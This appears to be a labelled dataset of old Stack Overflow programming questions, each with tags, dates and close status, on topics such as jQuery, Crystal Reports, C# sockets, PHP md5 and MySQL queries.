I need to be able to extract the vectors of roads from a map (google maps/ openstreetmap etc.) so i can overlay animated sprites on top of the roads. I've had a look at google api but it doesn't seem to provide the vectors. I also took a look at this question [here][1] and the first answer suggested OpenStreetMap because of it's inherent openness. I took a look at some of the existing [frameworks][2] but couldn't see what i was looking for. So if anybody could put me on track as to how i should extract vectors from a map that would be great! thanks [1]: http://stackoverflow.com/questions/10230502/alternativeto-google-maps-open-source-map-api-that-provides-a-database-of-node [2]: http://wiki.openstreetmap.org/wiki/Frameworks
android
google-maps
vector
openstreetmap
null
07/13/2012 16:38:04
not a real question
A method to detect road vectors from maps === I need to be able to extract the vectors of roads from a map (google maps/ openstreetmap etc.) so i can overlay animated sprites on top of the roads. I've had a look at google api but it doesn't seem to provide the vectors. I also took a look at this question [here][1] and the first answer suggested OpenStreetMap because of it's inherent openness. I took a look at some of the existing [frameworks][2] but couldn't see what i was looking for. So if anybody could put me on track as to how i should extract vectors from a map that would be great! thanks [1]: http://stackoverflow.com/questions/10230502/alternativeto-google-maps-open-source-map-api-that-provides-a-database-of-node [2]: http://wiki.openstreetmap.org/wiki/Frameworks
1
7,927,072
10/28/2011 08:54:04
966,379
09/27/2011 06:21:23
29
0
Wheather C standard library is static library or dynamic library?
Is C standard library function(ex.prinf, scanf) treated as static libray function or dynamic library function?
c
null
null
null
null
11/14/2011 11:51:16
not a real question
Wheather C standard library is static library or dynamic library? === Is C standard library function(ex.prinf, scanf) treated as static libray function or dynamic library function?
1
5,737,639
04/20/2011 23:04:49
673,485
03/23/2011 16:39:01
8
0
Making a CMS with RoR
I am learning RoR development, and am currently working on a website(mine). I need to make a CMS for it, as it needs a lot of unique features and it would be a much more hassle than adding them into an already done CMS. I have time so that isn't a problem either... As I am learning RoR, I would like to use RoR. Can anybody give me pointers how I can start such project? One thing that is really confusing me is, as this is a CMS its basically a program, So do I build a "blank" ror project and code the CMS from there? Or write a bunch of Ruby files and somehow "join" them? Thanks, Mark
ruby-on-rails
ruby
content-management-system
null
null
04/21/2011 06:33:13
not a real question
Making a CMS with RoR === I am learning RoR development, and am currently working on a website(mine). I need to make a CMS for it, as it needs a lot of unique features and it would be a much more hassle than adding them into an already done CMS. I have time so that isn't a problem either... As I am learning RoR, I would like to use RoR. Can anybody give me pointers how I can start such project? One thing that is really confusing me is, as this is a CMS its basically a program, So do I build a "blank" ror project and code the CMS from there? Or write a bunch of Ruby files and somehow "join" them? Thanks, Mark
1
429,012
01/09/2009 17:49:23
53,447
01/09/2009 17:40:32
1
0
New to PHP/MySQL
I'm a recent CS graduate and have learned very little on 'web 2.0' type stuff, we mainly focused on Java and C. I want to get into PHP, what would you guys recommend as the best book/website to get started with? There are a lot of them out there, and I don't want to drop 50 bucks on something that will finish with a hello world program. Thanks :-)
php
null
null
null
null
null
open
New to PHP/MySQL === I'm a recent CS graduate and have learned very little on 'web 2.0' type stuff, we mainly focused on Java and C. I want to get into PHP, what would you guys recommend as the best book/website to get started with? There are a lot of them out there, and I don't want to drop 50 bucks on something that will finish with a hello world program. Thanks :-)
0
2,714,868
04/26/2010 15:55:20
324,038
04/23/2010 09:31:00
1
0
JavaScript: how to use data but to hide it so as it cannot be reused
I've some data that i'd like to publish just on one website, ie. it should not be reused on other websites. The data is a set of numbers that change every day, our journalists work to get hard gather it. Is there any way to hide, crypt, etc. the data in a way that it cannot be reused by others? But to show it in a graph in the same time? I found the ASCII to HEX tool that could be used for ([http://utenti.multimania.it/ascii2hex/][1]). I wonder if you can suggest other ways. (Even if I have to completely change the strategy.) Many thanks! [1]: http://utenti.multimania.it/ascii2hex/
javascript
hide
data
null
null
null
open
JavaScript: how to use data but to hide it so as it cannot be reused === I've some data that i'd like to publish just on one website, ie. it should not be reused on other websites. The data is a set of numbers that change every day, our journalists work to get hard gather it. Is there any way to hide, crypt, etc. the data in a way that it cannot be reused by others? But to show it in a graph in the same time? I found the ASCII to HEX tool that could be used for ([http://utenti.multimania.it/ascii2hex/][1]). I wonder if you can suggest other ways. (Even if I have to completely change the strategy.) Many thanks! [1]: http://utenti.multimania.it/ascii2hex/
0
1,458,618
09/22/2009 07:30:48
154,137
08/11/2009 04:37:40
68
2
how to get a data from a DB using MYSQL and store it in javascript Array.
Is there any possible way to get a data from a DB using MYSQL and store it in javascript Array. Thanks in Advance
php
javascript
null
null
null
null
open
how to get a data from a DB using MYSQL and store it in javascript Array. === Is there any possible way to get a data from a DB using MYSQL and store it in javascript Array. Thanks in Advance
0
7,706,623
10/09/2011 21:20:58
652,860
03/10/2011 04:19:09
6
0
multiview iPhone application
I am trying to build an application that upon opening you will see a table view, with several elements. After you click on an element you will be taken to a new view which is a tab bar controller. I have created a navigation controller as my root view controller and what I am trying to figure out is do I need to pass off the root view controller's function from the navigation controller element to the tab bar controller? And then the tab bar controller does the work? I have been reading Beginning IPhone 4 Development: Exploring the IOS SDK [Book] by David Mark, Jack Nutting, Jeff LaMarche Chapter 7 gives a good example of how to use a tab bar controller but how can I pass the functions of the navigation controller to the tab bar controller that I am using?
iphone
uinavigationcontroller
uitabbarcontroller
multiview
null
10/10/2011 11:08:59
too localized
multiview iPhone application === I am trying to build an application that upon opening you will see a table view, with several elements. After you click on an element you will be taken to a new view which is a tab bar controller. I have created a navigation controller as my root view controller and what I am trying to figure out is do I need to pass off the root view controller's function from the navigation controller element to the tab bar controller? And then the tab bar controller does the work? I have been reading Beginning IPhone 4 Development: Exploring the IOS SDK [Book] by David Mark, Jack Nutting, Jeff LaMarche Chapter 7 gives a good example of how to use a tab bar controller but how can I pass the functions of the navigation controller to the tab bar controller that I am using?
3
8,571,459
12/20/2011 06:08:57
618,220
02/15/2011 16:52:25
35
1
jQuery document.ready strange behaviour
we are trying to show a message inside a fancybox, on the page load event after the successful postback of a page. we are registering the script into the page using Page.RegisterClientScript method of ASP.NET.Here's the code in the .cs file : Page.ClientScript.RegisterStartupScript(GetType(), "Script", "ShowPopup('popup');", true); Here's the javsacript function ShowPopup : function showPopup(p) { ShowFancyBoxDiv("#" + p, "TSP | Message", 50, 300); } But when we do this, only the first page in the view of the window is grayed-out and when scrolled down, the rest of the page is still active and ungrayed. But when we add a timer ,as shown below, everything works fine. $(document).ready(function () { setTimeout(function () { ShowFancyBoxDiv("#" + p, "TSP | Message", 50, 300); $("#fancybox-close").css("display", "none"); }, 1000); }); So, could anyone explain what is going on here. The document.ready should automatically check for the document to be fully loaded. Thanks.
jquery
asp.net
fancybox
null
null
null
open
jQuery document.ready strange behaviour === we are trying to show a message inside a fancybox, on the page load event after the successful postback of a page. we are registering the script into the page using Page.RegisterClientScript method of ASP.NET.Here's the code in the .cs file : Page.ClientScript.RegisterStartupScript(GetType(), "Script", "ShowPopup('popup');", true); Here's the javsacript function ShowPopup : function showPopup(p) { ShowFancyBoxDiv("#" + p, "TSP | Message", 50, 300); } But when we do this, only the first page in the view of the window is grayed-out and when scrolled down, the rest of the page is still active and ungrayed. But when we add a timer ,as shown below, everything works fine. $(document).ready(function () { setTimeout(function () { ShowFancyBoxDiv("#" + p, "TSP | Message", 50, 300); $("#fancybox-close").css("display", "none"); }, 1000); }); So, could anyone explain what is going on here. The document.ready should automatically check for the document to be fully loaded. Thanks.
0
10,302,998
04/24/2012 17:32:06
604,504
02/05/2011 16:01:09
18
0
Default Launcher Lifecycle
Does Android ever stop the default launcher app in order to free up resources? The reason I ask is because i'm targeting only the samsung galaxy tab 10.1 and I have been unable to make the default launcher hit stop.
android
null
null
null
null
null
open
Default Launcher Lifecycle === Does Android ever stop the default launcher app in order to free up resources? The reason I ask is because i'm targeting only the samsung galaxy tab 10.1 and I have been unable to make the default launcher hit stop.
0
4,898,805
02/04/2011 14:02:38
414,932
08/09/2010 10:03:41
16
0
what is the output of following program, i have written it below please help me out and gimme the reason
#include<stdio.h> void main() { int x=6,y=1; for( ;y;printf("%d%d\n",x,y)) y=x++<=5; }
c
null
null
null
null
02/04/2011 14:06:32
not a real question
what is the output of following program, i have written it below please help me out and gimme the reason === #include<stdio.h> void main() { int x=6,y=1; for( ;y;printf("%d%d\n",x,y)) y=x++<=5; }
1
2,722,133
04/27/2010 14:39:48
324,859
04/24/2010 09:46:12
61
2
AJAX Toolkit for ASp.net MVC
Is there any ajax toolkit for asp.net MVC
ajaxcontroltoolkit
mvc
asp.net-ajax
asp.net-mvc
null
null
open
AJAX Toolkit for ASp.net MVC === Is there any ajax toolkit for asp.net MVC
0
8,246,731
11/23/2011 17:44:50
962,408
09/24/2011 08:12:18
6
0
jQuery~How to change the same type CSS
How to change the same type CSS?? eg. background: -webkit-linear-gradient(left, #1e5799 0%,#7db9e8 100%); background: -moz-linear-gradient(left, #1e5799 0%, #7db9e8 100%); Is .eq(0) work on this case?? $('.block').css("background.eq(0)", '-webkit-linear-gradient(left, #1e5799 50%,#7db9e8 100%)' ); $('.block').css("background.eq(1)", '-moz-linear-gradient(left, #1e5799 50%, #7db9e8 100%)' );
jquery
null
null
null
null
null
open
jQuery~How to change the same type CSS === How to change the same type CSS?? eg. background: -webkit-linear-gradient(left, #1e5799 0%,#7db9e8 100%); background: -moz-linear-gradient(left, #1e5799 0%, #7db9e8 100%); Is .eq(0) work on this case?? $('.block').css("background.eq(0)", '-webkit-linear-gradient(left, #1e5799 50%,#7db9e8 100%)' ); $('.block').css("background.eq(1)", '-moz-linear-gradient(left, #1e5799 50%, #7db9e8 100%)' );
0
9,629,346
03/09/2012 05:25:18
960,567
09/23/2011 06:57:46
888
9
Difference Between Css 3 Transition's Ease-in Ease-out, etc?
I need to know the difference between Css-3 Transition's Ease-in Ease-out, etc?
javascript
jquery
css
css3
null
03/10/2012 00:53:11
not a real question
Difference Between Css 3 Transition's Ease-in Ease-out, etc? === I need to know the difference between Css-3 Transition's Ease-in Ease-out, etc?
1
8,994,520
01/24/2012 21:35:01
1,120,971
12/29/2011 10:46:10
12
0
why does this menu don't toggle
On my site (http://test.tamarawobben.nl) I use a accordion menu. But when i choose 2005 and after that 2006, 2005 stays open where I was expecting it would close. Can anyone give me a hint why this happens and how to solve this ? Roelof
javascript
xslt
null
null
null
01/25/2012 22:13:52
too localized
why does this menu don't toggle === On my site (http://test.tamarawobben.nl) I use a accordion menu. But when i choose 2005 and after that 2006, 2005 stays open where I was expecting it would close. Can anyone give me a hint why this happens and how to solve this ? Roelof
3
6,068,171
05/20/2011 06:20:16
730,569
04/29/2011 06:35:33
227
2
Really long line of JQuery
I have this really long line of JQuery and too many quotes. It's tripping me up: $('("<img>", { src: oembed.thumbnail_url, width:200 }).children("img").wrap("<div class="thumbnail_border" />")').insertBefore("div#heard_div");
javascript
jquery
syntax
null
null
05/20/2011 07:20:16
not a real question
Really long line of JQuery === I have this really long line of JQuery and too many quotes. It's tripping me up: $('("<img>", { src: oembed.thumbnail_url, width:200 }).children("img").wrap("<div class="thumbnail_border" />")').insertBefore("div#heard_div");
1
9,068,609
01/30/2012 18:13:03
801,820
06/16/2011 15:43:06
174
1
django model methods
Is it correct to put logic that alters instances within model methods? The examples in the django docs are all methods that don't alter the actual instance but rather just return some specific information. ie. model method examples from django docs: def is_midwestern(self): "Returns True if this person is from the Midwest." return self.state in ('IL', 'WI', 'MI', 'IN', 'OH', 'IA', 'MO') what I would like to do def publish(self): "Publishes this video: self.published = True # some other related business logic here Is that considered ok? Or should this go somewhere else?
django
django-models
null
null
null
null
open
django model methods === Is it correct to put logic that alters instances within model methods? The examples in the django docs are all methods that don't alter the actual instance but rather just return some specific information. ie. model method examples from django docs: def is_midwestern(self): "Returns True if this person is from the Midwest." return self.state in ('IL', 'WI', 'MI', 'IN', 'OH', 'IA', 'MO') what I would like to do def publish(self): "Publishes this video: self.published = True # some other related business logic here Is that considered ok? Or should this go somewhere else?
0
3,681,467
09/10/2010 00:10:32
443,897
09/09/2010 22:57:08
1
0
How do you handle large resultsets in Crystal Reports using Java
**Problem Definition** I have a performance problem displaying large/huge resultset of data on a crystal report. The report takes about 4 minutes or more depending on the resultset size. How do you handle large resultsets in Crystal Reports without a performance issue? **Environment** Crystal Reports XI Apache WebSvr 2.X Jboss 4.2.3 Struts Java Reporting Component **(JRC)** Crystal Report Viewer **(CRV)** Firefox **Details** I use the CRXI thick client to build my report (.rpt) and then use it in my webapplication (webapp) under Jboss. User specifies the filter criteria to generate a report (date range etc) and submits the request to the webapp. Webapp queries the database, gets a "resultset". I initialize the JRC and CRV according to all the specifications and finally call the "processHttpRequest" method of Crystal Report Viewer to display the report on browser. So..... - Request received to generate a report with a filter criteria - Query DB to get resultset - Initialize JRC and CRV - finally display the report by calling reportViewer.processHttpRequest(request, response, request.getSession().getServletContext(), null); The performance problem is within the last step. I put logs everywhere and noticed that database query doesnt take too long to return resultset. Everything processes pretty quickly till I call the processHttpRequest of CRV. This method just hangs for a long time before displaying the report on browser. CRV runs pretty fast when the resultset is smaller, but for large resultset it takes a long long time. I do have subreports and use Crystal report formulas on the reports. Some of them are used for grouping also. But I dont think Subreports is the real culprit here. Because I have some other reports that dont have any subreports, and they too get really slow displaying large resultsets. **Solutions?** So obviously I need a good solution to this generic problem of "How do you handle large resultsets in Crystal Reports?" I have thought of some half baked ideas. A) Use external pagination and fetch data only for the current page being displayed. But for this, CRXI must allow me to create my own buttons (previous, next, last), so I can control the click event and fetch data accordingly. I tried capturing events by registering event handler "addToolbarCommandEventListener" of CRV. But my listener gets invoked "after" processHttpRequest method completes, which doesnt help. Some how I need to be able to control the UI by adding my own previous page, next page, last page buttons and controlling it's click events. B) Have CRXI use a jquery type of functionality, to allow browser side page navigation. So maybe the first time it'll take 5 mins to display the report, but once it's displayed, user can go to any page without sending the request back to server. C) Try using Crystal Reports 2008. I'm open to using this version, but I couldnt figureout if it has any features that can help me. D) Use BIRT or JasperReports, since they apparently have the ability to handle large datasets, by caching a part of the dataset on disk etc... E) Will using the Crystal Reports Servers like cache server, application server etc help in any way? I read a little on the Crystal Page Viewer, Interactive Viewer, Part Viewer etc....but I'm not sure if any of these things are going to solve the issue. I'd appreciate it if someone can point me in the right direction.
java
reports
crystal
crystal-reports-xi
null
null
open
How do you handle large resultsets in Crystal Reports using Java === **Problem Definition** I have a performance problem displaying large/huge resultset of data on a crystal report. The report takes about 4 minutes or more depending on the resultset size. How do you handle large resultsets in Crystal Reports without a performance issue? **Environment** Crystal Reports XI Apache WebSvr 2.X Jboss 4.2.3 Struts Java Reporting Component **(JRC)** Crystal Report Viewer **(CRV)** Firefox **Details** I use the CRXI thick client to build my report (.rpt) and then use it in my webapplication (webapp) under Jboss. User specifies the filter criteria to generate a report (date range etc) and submits the request to the webapp. Webapp queries the database, gets a "resultset". I initialize the JRC and CRV according to all the specifications and finally call the "processHttpRequest" method of Crystal Report Viewer to display the report on browser. So..... - Request received to generate a report with a filter criteria - Query DB to get resultset - Initialize JRC and CRV - finally display the report by calling reportViewer.processHttpRequest(request, response, request.getSession().getServletContext(), null); The performance problem is within the last step. I put logs everywhere and noticed that database query doesnt take too long to return resultset. Everything processes pretty quickly till I call the processHttpRequest of CRV. This method just hangs for a long time before displaying the report on browser. CRV runs pretty fast when the resultset is smaller, but for large resultset it takes a long long time. I do have subreports and use Crystal report formulas on the reports. Some of them are used for grouping also. But I dont think Subreports is the real culprit here. Because I have some other reports that dont have any subreports, and they too get really slow displaying large resultsets. **Solutions?** So obviously I need a good solution to this generic problem of "How do you handle large resultsets in Crystal Reports?" I have thought of some half baked ideas. A) Use external pagination and fetch data only for the current page being displayed. But for this, CRXI must allow me to create my own buttons (previous, next, last), so I can control the click event and fetch data accordingly. I tried capturing events by registering event handler "addToolbarCommandEventListener" of CRV. But my listener gets invoked "after" processHttpRequest method completes, which doesnt help. Some how I need to be able to control the UI by adding my own previous page, next page, last page buttons and controlling it's click events. B) Have CRXI use a jquery type of functionality, to allow browser side page navigation. So maybe the first time it'll take 5 mins to display the report, but once it's displayed, user can go to any page without sending the request back to server. C) Try using Crystal Reports 2008. I'm open to using this version, but I couldnt figureout if it has any features that can help me. D) Use BIRT or JasperReports, since they apparently have the ability to handle large datasets, by caching a part of the dataset on disk etc... E) Will using the Crystal Reports Servers like cache server, application server etc help in any way? I read a little on the Crystal Page Viewer, Interactive Viewer, Part Viewer etc....but I'm not sure if any of these things are going to solve the issue. I'd appreciate it if someone can point me in the right direction.
0
2,948,173
06/01/2010 08:17:17
355,092
06/01/2010 05:33:22
1
0
validating mobile no
validate the mobile number up to 9 digits, if the telephone number starts with 8 otherwise 10 digits needs to be entered.
.net
null
null
null
null
06/01/2010 08:27:09
not a real question
validating mobile no === validate the mobile number up to 9 digits, if the telephone number starts with 8 otherwise 10 digits needs to be entered.
1
2,227,997
02/09/2010 09:32:53
269,342
02/09/2010 08:59:50
1
0
Image+TextView+radiobutton in spinner
First, I want to imitate the effect like "android.R.layout.simple_spinner_dropdown_item" which is TextView+radiobutton but either the getView() or getDropDownView only cares about one row at a time, while the whole radiobuttons in spinner is like one RadioGroup, and when dropdown view is opened, the radiobutton with which item is selected before must be checked. so how can I imitate the layout like simple_spinner_dropdown_item? Second, I want to add different ImageView in each row, so I can't just use the default simple_spinner_dropdown_item, I must redefine the ArrayAdapter. So, is there a best way to get through these? I like the layout in simple_spinner_dropdown_item, but I also want to add ImageView... Please give me any clue at all Thanks!!
android
spinner
android-arrayadapter
imageview
radio-button
null
open
Image+TextView+radiobutton in spinner === First, I want to imitate the effect like "android.R.layout.simple_spinner_dropdown_item" which is TextView+radiobutton but either the getView() or getDropDownView only cares about one row at a time, while the whole radiobuttons in spinner is like one RadioGroup, and when dropdown view is opened, the radiobutton with which item is selected before must be checked. so how can I imitate the layout like simple_spinner_dropdown_item? Second, I want to add different ImageView in each row, so I can't just use the default simple_spinner_dropdown_item, I must redefine the ArrayAdapter. So, is there a best way to get through these? I like the layout in simple_spinner_dropdown_item, but I also want to add ImageView... Please give me any clue at all Thanks!!
0
5,718,647
04/19/2011 15:14:12
172,359
09/12/2009 01:34:13
259
26
Redirect Rule for .aspx to terminated slash?
I've got an existing rule: <rewrite url="~/([^-]+)(?:-(.+))?/(.+).aspx" to="~/Results.aspx?city=$1&amp;state=$2&amp;term=$3&amp;x=$4"/> Which I would like to replace with a non .aspx extension and trailing slash. Thus, the url would be something like www.mysite.com/City-State/My-Search-Term/ which redirects to Results.aspx that reads the rewritten querystring. I'm moving from a .net rewrite solution (thus the requirement for the .aspx extension) to the URL Rewrite on IIS 7. As I'm still not entirely familiar with the syntax, this is what I was thinking... which isn't quite working: <rule name="Redirect .aspx to " enabled="true" stopProcessing="true"> <match url="~/([^-]+)(?:-(.+))?/(.+)" /> <action type="Redirect" url="~/Results.aspx?city={R:0}&amp;state={R:1}&amp;term={R:2}" appendQueryString="true" redirectType="Permanent" /> </rule> Also for cached search engine links, I need to write a rule that retains the .aspx rule above, redirecting it using the new URL structure - no .aspx and a trailing slash. I'm rewriting this particular app using MVC3. I'm familiar with the slash structure with MVC, but just want to make sure that these rules will apply to the new architecture as well. Lastly, I also require a rule that doesn't use the /City-State/ portion, and doesn't mess up my ~/Images/*.*, ~/Scripts/*.* and ~/Styles/*.* references. Thanks.
asp.net
iis7
url-rewriting
null
null
null
open
Redirect Rule for .aspx to terminated slash? === I've got an existing rule: <rewrite url="~/([^-]+)(?:-(.+))?/(.+).aspx" to="~/Results.aspx?city=$1&amp;state=$2&amp;term=$3&amp;x=$4"/> Which I would like to replace with a non .aspx extension and trailing slash. Thus, the url would be something like www.mysite.com/City-State/My-Search-Term/ which redirects to Results.aspx that reads the rewritten querystring. I'm moving from a .net rewrite solution (thus the requirement for the .aspx extension) to the URL Rewrite on IIS 7. As I'm still not entirely familiar with the syntax, this is what I was thinking... which isn't quite working: <rule name="Redirect .aspx to " enabled="true" stopProcessing="true"> <match url="~/([^-]+)(?:-(.+))?/(.+)" /> <action type="Redirect" url="~/Results.aspx?city={R:0}&amp;state={R:1}&amp;term={R:2}" appendQueryString="true" redirectType="Permanent" /> </rule> Also for cached search engine links, I need to write a rule that retains the .aspx rule above, redirecting it using the new URL structure - no .aspx and a trailing slash. I'm rewriting this particular app using MVC3. I'm familiar with the slash structure with MVC, but just want to make sure that these rules will apply to the new architecture as well. Lastly, I also require a rule that doesn't use the /City-State/ portion, and doesn't mess up my ~/Images/*.*, ~/Scripts/*.* and ~/Styles/*.* references. Thanks.
0
1,041,542
06/24/2009 23:51:38
71,743
02/27/2009 06:54:45
56
1
How to download multiple files with one HTTP request?
Use case: user clicks the link on a webpage - boom! load of files sitting in his folder.<br> I tried to pack files using [multipart/mixed message][1], but it seems to work only for Firefox This is how my response looks like: HTTP/1.0 200 OK Connection: close Date: Wed, 24 Jun 2009 23:41:40 GMT Content-Type: multipart/mixed;boundary=AMZ90RFX875LKMFasdf09DDFF3 Client-Date: Wed, 24 Jun 2009 23:41:40 GMT Client-Peer: 127.0.0.1:3000 Client-Response-Num: 1 MIME-Version: 1.0 Status: 200 --AMZ90RFX875LKMFasdf09DDFF3 Content-type: image/jpeg Content-transfer-encoding: binary Content-disposition: attachment; filename="001.jpg" << here goes binary data >>--AMZ90RFX875LKMFasdf09DDFF3 Content-type: image/jpeg Content-transfer-encoding: binary Content-disposition: attachment; filename="002.jpg" << here goes binary data >>--AMZ90RFX875LKMFasdf09DDFF3 --AMZ90RFX875LKMFasdf09DDFF3-- Thank you<br> P.S. No, zipping files is not an option [1]: http://en.wikipedia.org/wiki/MIME#Multipart_subtypes
http
browser
null
null
null
null
open
How to download multiple files with one HTTP request? === Use case: user clicks the link on a webpage - boom! load of files sitting in his folder.<br> I tried to pack files using [multipart/mixed message][1], but it seems to work only for Firefox This is how my response looks like: HTTP/1.0 200 OK Connection: close Date: Wed, 24 Jun 2009 23:41:40 GMT Content-Type: multipart/mixed;boundary=AMZ90RFX875LKMFasdf09DDFF3 Client-Date: Wed, 24 Jun 2009 23:41:40 GMT Client-Peer: 127.0.0.1:3000 Client-Response-Num: 1 MIME-Version: 1.0 Status: 200 --AMZ90RFX875LKMFasdf09DDFF3 Content-type: image/jpeg Content-transfer-encoding: binary Content-disposition: attachment; filename="001.jpg" << here goes binary data >>--AMZ90RFX875LKMFasdf09DDFF3 Content-type: image/jpeg Content-transfer-encoding: binary Content-disposition: attachment; filename="002.jpg" << here goes binary data >>--AMZ90RFX875LKMFasdf09DDFF3 --AMZ90RFX875LKMFasdf09DDFF3-- Thank you<br> P.S. No, zipping files is not an option [1]: http://en.wikipedia.org/wiki/MIME#Multipart_subtypes
0
2,886,487
05/22/2010 00:53:48
344,280
05/18/2010 17:00:47
1
0
Doubt about Scripting.file
How do I create a instance of Scripting.file from a file path?
.net
file
null
null
null
07/12/2011 15:13:36
not a real question
Doubt about Scripting.file === How do I create a instance of Scripting.file from a file path?
1
5,874,019
05/03/2011 18:32:48
623,643
02/18/2011 18:48:04
19
0
Start MS DOS command "attrib" as process (C#)
I'm trying to hide a folder with C# using the MSDOS "attrib" command. For now i'm able to do that by writing the "attrib" command + arguments in a batch file, running that file using `Process.Start()`, and then deleting it. I was wondering, can I do that directly from C#? Here is what i've tryed so far... (the code below doesen't work) public static void hideFolder(bool hide, string path) { string hideOrShow = (hide) ? "+" : "-"; Process.Start("attrib " + hideOrShow + "h " + hideOrShow + "s \"" + path + "\" /S /D"); } Any help would be appriciated! Thanx!
c#
ms-dos
null
null
null
null
open
Start MS DOS command "attrib" as process (C#) === I'm trying to hide a folder with C# using the MSDOS "attrib" command. For now i'm able to do that by writing the "attrib" command + arguments in a batch file, running that file using `Process.Start()`, and then deleting it. I was wondering, can I do that directly from C#? Here is what i've tryed so far... (the code below doesen't work) public static void hideFolder(bool hide, string path) { string hideOrShow = (hide) ? "+" : "-"; Process.Start("attrib " + hideOrShow + "h " + hideOrShow + "s \"" + path + "\" /S /D"); } Any help would be appriciated! Thanx!
0
3,169,605
07/02/2010 23:05:32
90,268
04/13/2009 15:23:50
395
16
Why PHP's md5 is different from OpenSSL's md5?
I am quite confused as to why I am seeing different results for md5 hashing in PHP and in OpenSSL. Here is the code that I am running: php -r "echo md5('abc');" Results in: 900150983cd24fb0d6963f7d28e17f72 While this: echo abc | openssl md5 Results in: 0bee89b07a248e27c83fc3d5951213c1 Why?
php5
openssl
md5
null
null
null
open
Why PHP's md5 is different from OpenSSL's md5? === I am quite confused as to why I am seeing different results for md5 hashing in PHP and in OpenSSL. Here is the code that I am running: php -r "echo md5('abc');" Results in: 900150983cd24fb0d6963f7d28e17f72 While this: echo abc | openssl md5 Results in: 0bee89b07a248e27c83fc3d5951213c1 Why?
0
2,017,728
01/07/2010 01:58:45
126,597
06/21/2009 23:19:57
159
7
Help creating/debugging a C# license server for my applications
I have a number of C# software applications that are add-ins for a peice of software that has a .net API. for software licensing purposes I'm required to have a license server. I've got this, at the moment this is what it does: - when a tool is run, it contacts the license server with its computer name and username - the server recieves this request, logs the request, and checks to see if the number of requests from that machien and or user have exceeded the preconfigured maximum (2 different licensing types) - it does this using an encrypted file which lists the time, machine name, username etc - if its ok, it returns OKAY response to the computer and the tool then runs - if it doesnt return anything or if it returns a not OK response the tool will not run (the software only runs for a short time, but is regulary ran, as opposed to opening for a long time) This works great, except I'm having a problem that the server randomly crashes, and users can't get onto it. This is the first client-server app I've done and I'm a bit in the dark (and feel like I'm re-inventing something which is commonly used), is there any good guides for creating something like that? My apps is very simple, I have a service running on the server looping listening on a TCP port, waiting for something to be sent. public void StartListening() { Listening = true; // Set the TcpListener on port 41616. Int32 port = 41616; IPAddress localAddr = IPAddress.Any; // TcpListener server = new TcpListener(port); server = new TcpListener(localAddr, port); // Start listening for client requests. server.Start(); Listen(); } public void Listen() { try { // Buffer for reading data Byte[] bytes = new Byte[256]; String data = null; // Enter the listening loop. while (Listening) { TcpClient client = server.AcceptTcpClient(); // Get a stream object for reading and writing NetworkStream stream = client.GetStream(); int i; // Loop to receive all the data sent by the client. while ((i = stream.Read(bytes, 0, bytes.Length)) != 0) { // Translate data bytes to a ASCII string. data = System.Text.Encoding.ASCII.GetString(bytes, 0, i); Console.WriteLine("Received: {0}", data); string returnData; // Process the data sent by the client. data = data.ToUpper(); byte[] msg = null;// DO STUFF BASED ON DATA // set returnData to be the response (ie OKAY) msg = System.Text.Encoding.ASCII.GetBytes(returnData); // Send back a response. stream.Write(msg, 0, msg.Length); Console.WriteLine("Sent: {0}", returnData); // Shutdown and end connection client.Close(); } } catch (Exception ex) { //LOG ERROR } finally { Listening = false; server.Stop(); } } I have a feeling the server is hanging somewhere on the decryption /encryption of the license log, as the server runs fine for a while then just stops, and if i re-create the license log it works. But thats not the point of this post (though any tips on why I'm getting this error: > Error occured: Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at BWSSLicenseServer.LicenseServer.Listen() woudl be great) My question is - how do I debug this easily in .NET? is there any good guides out there to help me? or is there any free framework for this? Should I be doing this code a totally different way (WCF, Web Service or something like that?)
c#
client-server
null
null
null
null
open
Help creating/debugging a C# license server for my applications === I have a number of C# software applications that are add-ins for a peice of software that has a .net API. for software licensing purposes I'm required to have a license server. I've got this, at the moment this is what it does: - when a tool is run, it contacts the license server with its computer name and username - the server recieves this request, logs the request, and checks to see if the number of requests from that machien and or user have exceeded the preconfigured maximum (2 different licensing types) - it does this using an encrypted file which lists the time, machine name, username etc - if its ok, it returns OKAY response to the computer and the tool then runs - if it doesnt return anything or if it returns a not OK response the tool will not run (the software only runs for a short time, but is regulary ran, as opposed to opening for a long time) This works great, except I'm having a problem that the server randomly crashes, and users can't get onto it. This is the first client-server app I've done and I'm a bit in the dark (and feel like I'm re-inventing something which is commonly used), is there any good guides for creating something like that? My apps is very simple, I have a service running on the server looping listening on a TCP port, waiting for something to be sent. public void StartListening() { Listening = true; // Set the TcpListener on port 41616. Int32 port = 41616; IPAddress localAddr = IPAddress.Any; // TcpListener server = new TcpListener(port); server = new TcpListener(localAddr, port); // Start listening for client requests. server.Start(); Listen(); } public void Listen() { try { // Buffer for reading data Byte[] bytes = new Byte[256]; String data = null; // Enter the listening loop. while (Listening) { TcpClient client = server.AcceptTcpClient(); // Get a stream object for reading and writing NetworkStream stream = client.GetStream(); int i; // Loop to receive all the data sent by the client. while ((i = stream.Read(bytes, 0, bytes.Length)) != 0) { // Translate data bytes to a ASCII string. data = System.Text.Encoding.ASCII.GetString(bytes, 0, i); Console.WriteLine("Received: {0}", data); string returnData; // Process the data sent by the client. data = data.ToUpper(); byte[] msg = null;// DO STUFF BASED ON DATA // set returnData to be the response (ie OKAY) msg = System.Text.Encoding.ASCII.GetBytes(returnData); // Send back a response. stream.Write(msg, 0, msg.Length); Console.WriteLine("Sent: {0}", returnData); // Shutdown and end connection client.Close(); } } catch (Exception ex) { //LOG ERROR } finally { Listening = false; server.Stop(); } } I have a feeling the server is hanging somewhere on the decryption /encryption of the license log, as the server runs fine for a while then just stops, and if i re-create the license log it works. But thats not the point of this post (though any tips on why I'm getting this error: > Error occured: Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at BWSSLicenseServer.LicenseServer.Listen() woudl be great) My question is - how do I debug this easily in .NET? is there any good guides out there to help me? or is there any free framework for this? Should I be doing this code a totally different way (WCF, Web Service or something like that?)
0
5,613,494
04/10/2011 17:30:44
395,167
07/18/2010 13:37:30
9
0
Php mysql select from resolution width or height
Need some Help reply must please I need to Select wallpaper from resolution of width or height i need to fix this ? $sql_wallpaper = "SELECT * from wallpaper where height = '1600' order by RAND() limit 0,3"; wallpaper is table
php
mysql
null
null
null
null
open
